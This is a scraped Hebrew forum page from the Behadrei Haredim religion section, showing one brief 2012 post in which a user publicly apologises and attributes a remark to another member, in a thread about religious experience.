דדווח על תוכן פוגעני

מנותק
נשלח ב-25/6/2012 16:53 לינק ישיר 

הריני לבקש סליחתך בשער בת הרבים. האמירה הייתה של מבקש טוב עצמו.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > החוויה הדתית. דרכי הזיהוי והטיפול.
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 ... 9 10 11 לדף הבא סך הכל 11 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.